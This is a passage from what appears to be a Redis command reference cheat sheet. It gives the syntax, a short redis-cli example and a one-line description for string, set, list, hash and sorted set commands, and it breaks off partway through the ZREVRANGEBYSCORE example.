(integer) 0
redis> MGET key1 key2 key3
1) "Hello"
2) "there"
3) (nil)
```
Set multiple keys to multiple values, only if none of the keys exist
### INCRBYFLOAT
``` {.wrap}
INCRBYFLOAT key increment
```
#### Example
```shell script
redis> SET mykey 10.50
"OK"
redis> INCRBYFLOAT mykey 0.1
"10.6"
redis> INCRBYFLOAT mykey -5
"5.6"
redis> SET mykey 5.0e3
"OK"
redis> INCRBYFLOAT mykey 2.0e2
"5200"
```
Increment the float value of a key by the given amount
### MGET
``` {.wrap}
MGET key [key ...]
```
#### Example
```shell script
redis> SET key1 "Hello"
"OK"
redis> SET key2 "World"
"OK"
redis> MGET key1 key2 nonexisting
1) "Hello"
2) "World"
3) (nil)
```
Get the values of all the given keys
### MSET
``` {.wrap}
MSET key value [key value ...]
```
#### Example
```shell script
redis> MSET key1 "Hello" key2 "World"
"OK"
redis> GET key1
"Hello"
redis> GET key2
"World"
```
Set multiple keys to multiple values
### INCRBY
``` {.wrap}
INCRBY key increment
```
#### Example
```shell script
redis> SET mykey "10"
"OK"
redis> INCRBY mykey 5
(integer) 15
```
Increment the integer value of a key by the given amount
### PSETEX
``` {.wrap}
PSETEX key milliseconds value
```
#### Example
```shell script
redis> PSETEX mykey 1000 "Hello"
"OK"
redis> PTTL mykey
(integer) 1000
redis> GET mykey
"Hello"
```
Set the value and expiration in milliseconds of a key
### SET
``` {.wrap}
SET key value [EX seconds|PX milliseconds|KEEPTTL] [NX|XX] [GET]
```
#### Example
```shell script
redis> SET mykey "Hello"
"OK"
redis> GET mykey
"Hello"
redis> SET anotherkey "will expire in a minute" EX 60
"OK"
```
Set the string value of a key
### SETBIT
``` {.wrap}
SETBIT key offset value
```
#### Example
```shell script
redis> SETBIT mykey 7 1
(integer) 0
redis> SETBIT mykey 7 0
(integer) 1
redis> GET mykey
"\u0000"
```
Sets or clears the bit at offset in the string value stored at key
### SETEX
``` {.wrap}
SETEX key seconds value
```
#### Example
```shell script
redis> SETEX mykey 10 "Hello"
"OK"
redis> TTL mykey
(integer) 10
redis> GET mykey
"Hello"
```
Set the value and expiration of a key
### SETNX
``` {.wrap}
SETNX key value
```
#### Example
```shell script
redis> SETNX mykey "Hello"
(integer) 1
redis> SETNX mykey "World"
(integer) 0
redis> GET mykey
"Hello"
```
Set the value of a key, only if the key does not exist
### SETRANGE
``` {.wrap}
SETRANGE key offset value
```
#### Example
```shell script
redis> SET key1 "Hello World"
"OK"
redis> SETRANGE key1 6 "Redis"
(integer) 11
redis> GET key1
"Hello Redis"
```
Overwrite part of a string at key starting at the specified offset
### STRLEN
``` {.wrap}
STRLEN key
```
#### Example
```shell script
redis> SET mykey "Hello world"
"OK"
redis> STRLEN mykey
(integer) 11
redis> STRLEN nonexisting
(integer) 0
```
Get the length of the value stored in a key
### STRALGO
``` {.wrap}
STRALGO LCS algo-specific-argument [algo-specific-argument ...]
```
#### Example
```shell script
redis> STRALGO LCS KEYS key1 key2 IDX
1) "matches"
2) 1) 1) 1) (integer) 4
2) (integer) 7
2) 1) (integer) 5
2) (integer) 8
2) 1) 1) (integer) 2
2) (integer) 3
2) 1) (integer) 0
2) (integer) 1
3) "len"
4) (integer) 6
```
Run algorithms (currently LCS) against strings
Redis Set command
------------
### SADD
``` {.wrap}
SADD key member [member ...]
```
#### Example
```shell script
redis> SADD myset "Hello"
(integer) 1
redis> SADD myset "World"
(integer) 1
redis> SADD myset "World"
(integer) 0
redis> SMEMBERS myset
1) "Hello"
2) "World"
```
Add one or more members to a set
### SCARD
``` {.wrap}
SCARD key
```
#### Example
```shell script
redis> SADD myset "Hello"
(integer) 1
redis> SADD myset "World"
(integer) 1
redis> SCARD myset
(integer) 2
```
Get the number of members in a set
### SDIFF
``` {.wrap}
SDIFF key [key ...]
```
#### Example
```shell script
redis> SADD key1 "a"
(integer) 1
redis> SADD key1 "b"
(integer) 1
redis> SADD key1 "c"
(integer) 1
redis> SADD key2 "c"
(integer) 1
redis> SADD key2 "d"
(integer) 1
redis> SADD key2 "e"
(integer) 1
redis> SDIFF key1 key2
1) "a"
2) "b"
```
Subtract multiple sets
### SDIFFSTORE
``` {.wrap}
SDIFFSTORE destination key [key ...]
```
#### Example
```shell script
redis> SADD key1 "a"
(integer) 1
redis> SADD key1 "b"
(integer) 1
redis> SADD key1 "c"
(integer) 1
redis> SADD key2 "c"
(integer) 1
redis> SADD key2 "d"
(integer) 1
redis> SADD key2 "e"
(integer) 1
redis> SDIFFSTORE key key1 key2
(integer) 2
redis> SMEMBERS key
1) "a"
2) "b"
```
Subtract multiple sets and store the resulting set in a key
### SINTER
``` {.wrap}
SINTER key [key ...]
```
#### Example
```shell script
redis> SADD key1 "a"
(integer) 1
redis> SADD key1 "b"
(integer) 1
redis> SADD key1 "c"
(integer) 1
redis> SADD key2 "c"
(integer) 1
redis> SADD key2 "d"
(integer) 1
redis> SADD key2 "e"
(integer) 1
redis> SINTER key1 key2
1) "c"
```
Intersect multiple sets
### SINTERSTORE
``` {.wrap}
SINTERSTORE destination key [key ...]
```
#### Example
```shell script
redis> SADD key1 "a"
(integer) 1
redis> SADD key1 "b"
(integer) 1
redis> SADD key1 "c"
(integer) 1
redis> SADD key2 "c"
(integer) 1
redis> SADD key2 "d"
(integer) 1
redis> SADD key2 "e"
(integer) 1
redis> SINTERSTORE key key1 key2
(integer) 1
redis> SMEMBERS key
1) "c"
```
Intersect multiple sets and store the resulting set in a key
### SISMEMBER
``` {.wrap}
SISMEMBER key member
```
#### Example
```shell script
redis> SADD myset "one"
(integer) 1
redis> SISMEMBER myset "one"
(integer) 1
redis> SISMEMBER myset "two"
(integer) 0
```
Determine if a given value is a member of a set
### SMISMEMBER
``` {.wrap}
SMISMEMBER key member [member ...]
```
#### Example
```shell script
redis> SADD myset "one"
(integer) 1
redis> SADD myset "one"
(integer) 0
redis> SMISMEMBER myset "one" "notamember"
1) (integer) 1
2) (integer) 0
```
Returns the membership associated with the given elements for a set
### SMEMBERS
``` {.wrap}
SMEMBERS key
```
#### Example
```shell script
redis> SADD myset "Hello"
(integer) 1
redis> SADD myset "World"
(integer) 1
redis> SMEMBERS myset
1) "Hello"
2) "World"
```
Get all the members in a set
### SMOVE
``` {.wrap}
SMOVE source destination member
```
#### Example
```shell script
redis> SADD myset "one"
(integer) 1
redis> SADD myset "two"
(integer) 1
redis> SADD myotherset "three"
(integer) 1
redis> SMOVE myset myotherset "two"
(integer) 1
redis> SMEMBERS myset
1) "one"
redis> SMEMBERS myotherset
1) "two"
2) "three"
```
Move a member from one set to another
### SPOP
``` {.wrap}
SPOP key [count]
```
#### Example
```shell script
redis> SADD myset "one"
(integer) 1
redis> SADD myset "two"
(integer) 1
redis> SADD myset "three"
(integer) 1
redis> SPOP myset
"two"
redis> SMEMBERS myset
1) "one"
2) "three"
redis> SADD myset "four"
(integer) 1
redis> SADD myset "five"
(integer) 1
redis> SPOP myset 3
1) "four"
2) "five"
3) "three"
redis> SMEMBERS myset
1) "one"
```
Remove and return one or multiple random members from a set
### SRANDMEMBER
``` {.wrap}
SRANDMEMBER key [count]
```
#### Example
```shell script
redis> SADD myset one two three
(integer) 3
redis> SRANDMEMBER myset
"three"
redis> SRANDMEMBER myset 2
1) "two"
2) "three"
redis> SRANDMEMBER myset -5
1) "one"
2) "two"
3) "three"
4) "three"
5) "one"
```
Get one or multiple random members from a set
### SREM
``` {.wrap}
SREM key member [member ...]
```
#### Example
```shell script
redis> SADD myset "one"
(integer) 1
redis> SADD myset "two"
(integer) 1
redis> SADD myset "three"
(integer) 1
redis> SREM myset "one"
(integer) 1
redis> SREM myset "four"
(integer) 0
redis> SMEMBERS myset
1) "two"
2) "three"
```
Remove one or more members from a set
### SUNION
``` {.wrap}
SUNION key [key ...]
```
#### Example
```shell script
redis> SADD key1 "a"
(integer) 1
redis> SADD key1 "b"
(integer) 1
redis> SADD key1 "c"
(integer) 1
redis> SADD key2 "c"
(integer) 1
redis> SADD key2 "d"
(integer) 1
redis> SADD key2 "e"
(integer) 1
redis> SUNION key1 key2
1) "a"
2) "c"
3) "e"
4) "b"
5) "d"
```
Add multiple sets
### SUNIONSTORE
``` {.wrap}
SUNIONSTORE destination key [key ...]
```
#### Example
```shell script
redis> SADD key1 "a"
(integer) 1
redis> SADD key1 "b"
(integer) 1
redis> SADD key1 "c"
(integer) 1
redis> SADD key2 "c"
(integer) 1
redis> SADD key2 "d"
(integer) 1
redis> SADD key2 "e"
(integer) 1
redis> SUNIONSTORE key key1 key2
(integer) 5
redis> SMEMBERS key
1) "a"
2) "c"
3) "e"
4) "b"
5) "d"
```
Add multiple sets and store the resulting set in a key
Redis List command
------------
### Misc
| - | - |
|-----------------------------------------------------|----------------------------------------------------------------------------------------------------|
| [BRPOPLPUSH ](https://redis.io/commands/brpoplpush) | Pop an element from a list, push it to another list and return it; or block until one is available |
| [BLMOVE ](https://redis.io/commands/blmove) | Pop an element from a list, push it to another list and return it; or block until one is available |
### BLPOP
``` {.wrap}
BLPOP key [key ...] timeout
```
#### Example
```shell script
redis> DEL list1 list2
(integer) 0
redis> RPUSH list1 a b c
(integer) 3
redis> BLPOP list1 list2 0
1) "list1"
2) "a"
```
Remove and get the first element in a list, or block until one is available |
### BRPOP
``` {.wrap}
BRPOP key [key ...] timeout
```
#### Example
```shell script
redis> DEL list1 list2
(integer) 0
redis> RPUSH list1 a b c
(integer) 3
redis> BRPOP list1 list2 0
1) "list1"
2) "c"
```
Remove and get the last element in a list, or block until one is available |
### LINDEX
``` {.wrap}
LINDEX key index
```
#### Example
```shell script
redis> LPUSH mylist "World"
(integer) 1
redis> LPUSH mylist "Hello"
(integer) 2
redis> LINDEX mylist 0
"Hello"
redis> LINDEX mylist -1
"World"
redis> LINDEX mylist 3
(nil)
```
Get an element from a list by its index
### LINSERT
``` {.wrap}
LINSERT key BEFORE|AFTER pivot element
```
#### Example
```shell script
redis> RPUSH mylist "Hello"
(integer) 1
redis> RPUSH mylist "World"
(integer) 2
redis> LINSERT mylist BEFORE "World" "There"
(integer) 3
redis> LRANGE mylist 0 -1
1) "Hello"
2) "There"
3) "World"
```
Insert an element before or after another element in a list
### LLEN
``` {.wrap}
LLEN key
```
#### Example
```shell script
redis> LPUSH mylist "World"
(integer) 1
redis> LPUSH mylist "Hello"
(integer) 2
redis> LLEN mylist
(integer) 2
```
Get the length of a list
### LPOP
``` {.wrap}
LPOP key [count]
```
#### Example
```shell script
redis> RPUSH mylist "one"
(integer) 1
redis> RPUSH mylist "two"
(integer) 2
redis> RPUSH mylist "three"
(integer) 3
redis> LPOP mylist
"one"
redis> LRANGE mylist 0 -1
1) "two"
2) "three"
```
Remove and get the first elements in a list
### LPOS
``` {.wrap}
LPOS key element [RANK rank] [COUNT num-matches] [MAXLEN len]
```
#### Example
```shell script
redis> RPUSH mylist a b c d 1 2 3 4 3 3 3
(integer) 11
redis> LPOS mylist 3
(integer) 6
redis> LPOS mylist 3 COUNT 0 RANK 2
1) (integer) 8
2) (integer) 9
3) (integer) 10
```
Return the index of matching elements on a list
### LPUSH
``` {.wrap}
LPUSH key element [element ...]
```
#### Example
```shell script
redis> LPUSH mylist "world"
(integer) 1
redis> LPUSH mylist "hello"
(integer) 2
redis> LRANGE mylist 0 -1
1) "hello"
2) "world"
```
Prepend one or multiple elements to a list
### LPUSHX
``` {.wrap}
LPUSHX key element [element ...]
```
#### Example
```shell script
redis> LPUSH mylist "World"
(integer) 1
redis> LPUSHX mylist "Hello"
(integer) 2
redis> LPUSHX myotherlist "Hello"
(integer) 0
redis> LRANGE mylist 0 -1
1) "Hello"
2) "World"
redis> LRANGE myotherlist 0 -1
(empty list or set)
```
Prepend an element to a list, only if the list exists
### LRANGE
``` {.wrap}
LRANGE key start stop
```
#### Example
```shell script
redis> RPUSH mylist "one"
(integer) 1
redis> RPUSH mylist "two"
(integer) 2
redis> RPUSH mylist "three"
(integer) 3
redis> LRANGE mylist 0 0
1) "one"
redis> LRANGE mylist -3 2
1) "one"
2) "two"
3) "three"
redis> LRANGE mylist -100 100
1) "one"
2) "two"
3) "three"
redis> LRANGE mylist 5 10
(empty list or set)
```
Get a range of elements from a list
### LREM
``` {.wrap}
LREM key count element
```
#### Example
```shell script
redis> RPUSH mylist "hello"
(integer) 1
redis> RPUSH mylist "hello"
(integer) 2
redis> RPUSH mylist "foo"
(integer) 3
redis> RPUSH mylist "hello"
(integer) 4
redis> LREM mylist -2 "hello"
(integer) 2
redis> LRANGE mylist 0 -1
1) "hello"
2) "foo"
```
Remove elements from a list
### LSET
``` {.wrap}
LSET key index element
```
#### Example
```shell script
redis> RPUSH mylist "one"
(integer) 1
redis> RPUSH mylist "two"
(integer) 2
redis> RPUSH mylist "three"
(integer) 3
redis> LSET mylist 0 "four"
"OK"
redis> LSET mylist -2 "five"
"OK"
redis> LRANGE mylist 0 -1
1) "four"
2) "five"
3) "three"
```
Set the value of an element in a list by its index
### LTRIM
``` {.wrap}
LTRIM key start stop
```
#### Example
```shell script
redis> RPUSH mylist "one"
(integer) 1
redis> RPUSH mylist "two"
(integer) 2
redis> RPUSH mylist "three"
(integer) 3
redis> LTRIM mylist 1 -1
"OK"
redis> LRANGE mylist 0 -1
1) "two"
2) "three"
```
Trim a list to the specified range
### RPOP
``` {.wrap}
RPOP key [count]
```
#### Example
```shell script
redis> RPUSH mylist "one"
(integer) 1
redis> RPUSH mylist "two"
(integer) 2
redis> RPUSH mylist "three"
(integer) 3
redis> RPOP mylist
"three"
redis> LRANGE mylist 0 -1
1) "one"
2) "two"
```
Remove and get the last elements in a list
### RPOPLPUSH
``` {.wrap}
RPOPLPUSH source destination
```
#### Example
```shell script
redis> RPUSH mylist "one"
(integer) 1
redis> RPUSH mylist "two"
(integer) 2
redis> RPUSH mylist "three"
(integer) 3
redis> RPOPLPUSH mylist myotherlist
"three"
redis> LRANGE mylist 0 -1
1) "one"
2) "two"
redis> LRANGE myotherlist 0 -1
1) "three"
```
Remove the last element in a list, prepend it to another list and return it
### LMOVE
``` {.wrap}
LMOVE source destination LEFT|RIGHT LEFT|RIGHT
```
#### Example
```shell script
redis> RPUSH mylist "one"
(integer) 1
redis> RPUSH mylist "two"
(integer) 2
redis> RPUSH mylist "three"
(integer) 3
redis> LMOVE mylist myotherlist RIGHT LEFT
"three"
redis> LMOVE mylist myotherlist LEFT RIGHT
"one"
redis> LRANGE mylist 0 -1
1) "two"
redis> LRANGE myotherlist 0 -1
1) "three"
2) "one"
```
Pop an element from a list, push it to another list and return it
### RPUSH
``` {.wrap}
RPUSH key element [element ...]
```
#### Example
```shell script
redis> RPUSH mylist "hello"
(integer) 1
redis> RPUSH mylist "world"
(integer) 2
redis> LRANGE mylist 0 -1
1) "hello"
2) "world"
```
Append one or multiple elements to a list
### RPUSHX
``` {.wrap}
RPUSHX key element [element ...]
```
#### Example
```shell script
redis> RPUSH mylist "Hello"
(integer) 1
redis> RPUSHX mylist "World"
(integer) 2
redis> RPUSHX myotherlist "World"
(integer) 0
redis> LRANGE mylist 0 -1
1) "Hello"
2) "World"
redis> LRANGE myotherlist 0 -1
(empty list or set)
```
Append an element to a list, only if the list exists
Redis Hash command
------------
### HDEL
``` {.wrap}
HDEL key field [field ...]
```
#### Example
```shell script
redis> HSET myhash field1 "foo"
(integer) 1
redis> HDEL myhash field1
(integer) 1
redis> HDEL myhash field2
(integer) 0
```
Delete one or more hash fields
### HEXISTS
``` {.wrap}
HEXISTS key field
```
#### Example
```shell script
redis> HSET myhash field1 "foo"
(integer) 1
redis> HEXISTS myhash field1
(integer) 1
redis> HEXISTS myhash field2
(integer) 0
```
Determine if a hash field exists
### HGET
``` {.wrap}
HGET key field
```
#### Example
```shell script
redis> HSET myhash field1 "foo"
(integer) 1
redis> HGET myhash field1
"foo"
redis> HGET myhash field2
(nil)
```
Get the value of a hash field
### HGETALL
``` {.wrap}
HGETALL key
```
#### Example
```shell script
redis> HSET myhash field1 "Hello"
(integer) 1
redis> HSET myhash field2 "World"
(integer) 1
redis> HGETALL myhash
1) "field1"
2) "Hello"
3) "field2"
4) "World"
```
Get all the fields and values in a hash
### HINCRBY
``` {.wrap}
HINCRBY key field increment
```
#### Example
```shell script
redis> HSET myhash field 5
(integer) 1
redis> HINCRBY myhash field 1
(integer) 6
redis> HINCRBY myhash field -1
(integer) 5
redis> HINCRBY myhash field -10
(integer) -5
```
Increment the integer value of a hash field by the given number
### HINCRBYFLOAT
``` {.wrap}
HINCRBYFLOAT key field increment
```
#### Example
```shell script
redis> HSET mykey field 10.50
(integer) 1
redis> HINCRBYFLOAT mykey field 0.1
"10.6"
redis> HINCRBYFLOAT mykey field -5
"5.6"
redis> HSET mykey field 5.0e3
(integer) 0
redis> HINCRBYFLOAT mykey field 2.0e2
"5200"
```
Increment the float value of a hash field by the given amount
### HKEYS
``` {.wrap}
HKEYS key
```
#### Example
```shell script
redis> HSET myhash field1 "Hello"
(integer) 1
redis> HSET myhash field2 "World"
(integer) 1
redis> HKEYS myhash
1) "field1"
2) "field2"
```
Get all the fields in a hash
### HLEN
``` {.wrap}
HLEN key
```
#### Example
```shell script
redis> HSET myhash field1 "Hello"
(integer) 1
redis> HSET myhash field2 "World"
(integer) 1
redis> HLEN myhash
(integer) 2
```
Get the number of fields in a hash
### HMGET
``` {.wrap}
HMGET key field [field ...]
```
#### Example
```shell script
redis> HSET myhash field1 "Hello"
(integer) 1
redis> HSET myhash field2 "World"
(integer) 1
redis> HMGET myhash field1 field2 nofield
1) "Hello"
2) "World"
3) (nil)
```
Get the values of all the given hash fields
### HMSET
``` {.wrap}
HMSET key field value [field value ...]
```
#### Example
```shell script
redis> HMSET myhash field1 "Hello" field2 "World"
"OK"
redis> HGET myhash field1
"Hello"
redis> HGET myhash field2
"World"
```
Set multiple hash fields to multiple values
### HSET
``` {.wrap}
HSET key field value [field value ...]
```
#### Example
```shell script
redis> HSET myhash field1 "Hello"
(integer) 1
redis> HGET myhash field1
"Hello"
```
Set the string value of a hash field
### HSETNX
``` {.wrap}
HSETNX key field value
```
#### Example
```shell script
redis> HSETNX myhash field "Hello"
(integer) 1
redis> HSETNX myhash field "World"
(integer) 0
redis> HGET myhash field
"Hello"
```
Set the value of a hash field, only if the field does not exist
### HSTRLEN
``` {.wrap}
HSTRLEN key field
```
#### Example
```shell script
redis> HMSET myhash f1 HelloWorld f2 99 f3 -256
"OK"
redis> HSTRLEN myhash f1
(integer) 10
redis> HSTRLEN myhash f2
(integer) 2
redis> HSTRLEN myhash f3
(integer) 4
```
Get the length of the value of a hash field
### HVALS
``` {.wrap}
HVALS key
```
#### Example
```shell script
redis> HSET myhash field1 "Hello"
(integer) 1
redis> HSET myhash field2 "World"
(integer) 1
redis> HVALS myhash
1) "Hello"
2) "World"
```
Get all the values in a hash
Redis Sorted set command
------------
### BZPOPMIN
``` {.wrap}
BZPOPMIN key [key ...] timeout
```
#### Example
```shell script
redis> DEL zset1 zset2
(integer) 0
redis> ZADD zset1 0 a 1 b 2 c
(integer) 3
redis> BZPOPMIN zset1 zset2 0
1) "zset1"
2) "a"
3) "0"
```
Remove and return the member with the lowest score from one or more sorted sets, or block until one is available
### BZPOPMAX
``` {.wrap}
BZPOPMAX key [key ...] timeout
```
#### Example
```shell script
redis> DEL zset1 zset2
(integer) 0
redis> ZADD zset1 0 a 1 b 2 c
(integer) 3
redis> BZPOPMAX zset1 zset2 0
1) "zset1"
2) "c"
3) "2"
```
Remove and return the member with the highest score from one or more sorted sets, or block until one is available
### ZADD {.row-span-2}
``` {.wrap}
ZADD key [NX|XX] [GT|LT] [CH] [INCR] score member [score member ...]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 1 "uno"
(integer) 1
redis> ZADD myzset 2 "two" 3 "three"
(integer) 2
redis> ZRANGE myzset 0 -1 WITHSCORES
1) "one"
2) "1"
3) "uno"
4) "1"
5) "two"
6) "2"
7) "three"
8) "3"
```
Add one or more members to a sorted set, or update its score if it already exists
### ZCARD
``` {.wrap}
ZCARD key
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZCARD myzset
(integer) 2
```
Get the number of members in a sorted set
### ZSCORE
``` {.wrap}
ZSCORE key member
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZSCORE myzset "one"
"1"
```
Get the score associated with the given member in a sorted set
### ZCOUNT
``` {.wrap}
ZCOUNT key min max
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZCOUNT myzset -inf +inf
(integer) 3
redis> ZCOUNT myzset (1 3
(integer) 2
```
Count the members in a sorted set with scores within the given values
### ZDIFF
``` {.wrap}
ZDIFF numkeys key [key ...] [WITHSCORES]
```
#### Example
```shell script
redis> ZADD zset1 1 "one"
(integer) 1
redis> ZADD zset1 2 "two"
(integer) 1
redis> ZADD zset1 3 "three"
(integer) 1
redis> ZADD zset2 1 "one"
(integer) 1
redis> ZADD zset2 2 "two"
(integer) 1
redis> ZDIFF 2 zset1 zset2
1) "three"
redis> ZDIFF 2 zset1 zset2 WITHSCORES
1) "three"
2) "3"
```
Subtract multiple sorted sets
### ZDIFFSTORE
``` {.wrap}
ZDIFFSTORE destination numkeys key [key ...]
```
#### Example
```shell script
redis> ZADD zset1 1 "one"
(integer) 1
redis> ZADD zset1 2 "two"
(integer) 1
redis> ZADD zset1 3 "three"
(integer) 1
redis> ZADD zset2 1 "one"
(integer) 1
redis> ZADD zset2 2 "two"
(integer) 1
redis> ZDIFFSTORE out 2 zset1 zset2
(integer) 1
redis> ZRANGE out 0 -1 WITHSCORES
1) "three"
2) "3"
```
Subtract multiple sorted sets and store the resulting sorted set in a new key
### ZINCRBY
``` {.wrap}
ZINCRBY key increment member
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZINCRBY myzset 2 "one"
"3"
redis> ZRANGE myzset 0 -1 WITHSCORES
1) "two"
2) "2"
3) "one"
4) "3"
```
Increment the score of a member in a sorted set
### ZINTER
``` {.wrap}
ZINTER numkeys key [key ...] [WEIGHTS weight [weight ...]] [AGGREGATE SUM|MIN|MAX] [WITHSCORES]
```
#### Example
```shell script
redis> ZADD zset1 1 "one"
(integer) 1
redis> ZADD zset1 2 "two"
(integer) 1
redis> ZADD zset2 1 "one"
(integer) 1
redis> ZADD zset2 2 "two"
(integer) 1
redis> ZADD zset2 3 "three"
(integer) 1
redis> ZINTER 2 zset1 zset2
1) "one"
2) "two"
redis> ZINTER 2 zset1 zset2 WITHSCORES
1) "one"
2) "2"
3) "two"
4) "4"
```
Intersect multiple sorted sets
### ZINTERSTORE
``` {.wrap}
ZINTERSTORE destination numkeys key [key ...] [WEIGHTS weight [weight ...]] [AGGREGATE SUM|MIN|MAX]
```
#### Example
```shell script
redis> ZADD zset1 1 "one"
(integer) 1
redis> ZADD zset1 2 "two"
(integer) 1
redis> ZADD zset2 1 "one"
(integer) 1
redis> ZADD zset2 2 "two"
(integer) 1
redis> ZADD zset2 3 "three"
(integer) 1
redis> ZINTERSTORE out 2 zset1 zset2 WEIGHTS 2 3
(integer) 2
redis> ZRANGE out 0 -1 WITHSCORES
1) "one"
2) "5"
3) "two"
4) "10"
```
Intersect multiple sorted sets and store the resulting sorted set in a new key
### ZLEXCOUNT
``` {.wrap}
ZLEXCOUNT key min max
```
#### Example
```shell script
redis> ZADD myzset 0 a 0 b 0 c 0 d 0 e
(integer) 5
redis> ZADD myzset 0 f 0 g
(integer) 2
redis> ZLEXCOUNT myzset - +
(integer) 7
redis> ZLEXCOUNT myzset [b [f
(integer) 5
```
Count the number of members in a sorted set between a given lexicographical range
### ZPOPMAX
``` {.wrap}
ZPOPMAX key [count]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZPOPMAX myzset
1) "three"
2) "3"
```
Remove and return members with the highest scores in a sorted set
### ZPOPMIN
``` {.wrap}
ZPOPMIN key [count]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZPOPMIN myzset
1) "one"
2) "1"
```
Remove and return members with the lowest scores in a sorted set
### ZRANGE
``` {.wrap}
ZRANGE key start stop [WITHSCORES]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZRANGE myzset 0 -1
1) "one"
2) "two"
3) "three"
redis> ZRANGE myzset 2 3
1) "three"
redis> ZRANGE myzset -2 -1
1) "two"
2) "three"
```
Return a range of members in a sorted set, by index
### ZRANGEBYLEX
``` {.wrap}
ZRANGEBYLEX key min max [LIMIT offset count]
```
#### Example
```shell script
redis> ZADD myzset 0 a 0 b 0 c 0 d 0 e 0 f 0 g
(integer) 7
redis> ZRANGEBYLEX myzset - [c
1) "a"
2) "b"
3) "c"
redis> ZRANGEBYLEX myzset - (c
1) "a"
2) "b"
redis> ZRANGEBYLEX myzset [aaa (g
1) "b"
2) "c"
3) "d"
4) "e"
5) "f"
```
Return a range of members in a sorted set, by lexicographical range
### ZREVRANGEBYLEX
``` {.wrap}
ZREVRANGEBYLEX key max min [LIMIT offset count]
```
#### Example
```shell script
redis> ZADD myzset 0 a 0 b 0 c 0 d 0 e 0 f 0 g
(integer) 7
redis> ZREVRANGEBYLEX myzset [c -
1) "c"
2) "b"
3) "a"
redis> ZREVRANGEBYLEX myzset (c -
1) "b"
2) "a"
redis> ZREVRANGEBYLEX myzset (g [aaa
1) "f"
2) "e"
3) "d"
4) "c"
5) "b"
```
Return a range of members in a sorted set, by lexicographical range, ordered from higher to lower strings.
### ZRANGEBYSCORE
``` {.wrap}
ZRANGEBYSCORE key min max [WITHSCORES] [LIMIT offset count]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZRANGEBYSCORE myzset -inf +inf
1) "one"
2) "two"
3) "three"
redis> ZRANGEBYSCORE myzset 1 2
1) "one"
2) "two"
redis> ZRANGEBYSCORE myzset (1 2
1) "two"
redis> ZRANGEBYSCORE myzset (1 (2
(empty list or set)
```
Return a range of members in a sorted set, by score
### ZRANK
``` {.wrap}
ZRANK key member
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZRANK myzset "three"
(integer) 2
redis> ZRANK myzset "four"
(nil)
```
Determine the index of a member in a sorted set
### ZREM
``` {.wrap}
ZREM key member [member ...]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZREM myzset "two"
(integer) 1
redis> ZRANGE myzset 0 -1 WITHSCORES
1) "one"
2) "1"
3) "three"
4) "3"
```
Remove one or more members from a sorted set
### ZREMRANGEBYLEX
``` {.wrap}
ZREMRANGEBYLEX key min max
```
#### Example
```shell script
redis> ZADD myzset 0 aaaa 0 b 0 c 0 d 0 e
(integer) 5
redis> ZADD myzset 0 foo 0 zap 0 zip 0 ALPHA 0 alpha
(integer) 5
redis> ZRANGE myzset 0 -1
1) "ALPHA"
2) "aaaa"
3) "alpha"
4) "b"
5) "c"
6) "d"
7) "e"
8) "foo"
9) "zap"
10) "zip"
redis> ZREMRANGEBYLEX myzset [alpha [omega
(integer) 6
redis> ZRANGE myzset 0 -1
1) "ALPHA"
2) "aaaa"
3) "zap"
4) "zip"
```
Remove all members in a sorted set between the given lexicographical range
### ZREMRANGEBYRANK
``` {.wrap}
ZREMRANGEBYRANK key start stop
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZREMRANGEBYRANK myzset 0 1
(integer) 2
redis> ZRANGE myzset 0 -1 WITHSCORES
1) "three"
2) "3"
```
Remove all members in a sorted set within the given indexes
### ZREMRANGEBYSCORE
``` {.wrap}
ZREMRANGEBYSCORE key min max
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZREMRANGEBYSCORE myzset -inf (2
(integer) 1
redis> ZRANGE myzset 0 -1 WITHSCORES
1) "two"
2) "2"
3) "three"
4) "3"
```
Remove all members in a sorted set within the given scores
### ZREVRANGE
``` {.wrap}
ZREVRANGE key start stop [WITHSCORES]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZREVRANGE myzset 0 -1
1) "three"
2) "two"
3) "one"
redis> ZREVRANGE myzset 2 3
1) "one"
redis> ZREVRANGE myzset -2 -1
1) "two"
2) "one"
```
Return a range of members in a sorted set, by index, with scores ordered from high to low
### ZREVRANGEBYSCORE
``` {.wrap}
ZREVRANGEBYSCORE key max min [WITHSCORES] [LIMIT offset count]
```
#### Example
```shell script
redis> ZADD myzset 1 "one"
(integer) 1
redis> ZADD myzset 2 "two"
(integer) 1
redis> ZADD myzset 3 "three"
(integer) 1
redis> ZREVRANGEBYSCORE myzset +inf -inf
1) "three"
2) "two"
3) "one"
redis> ZREVRANGEBYSCORE myzset 2 1
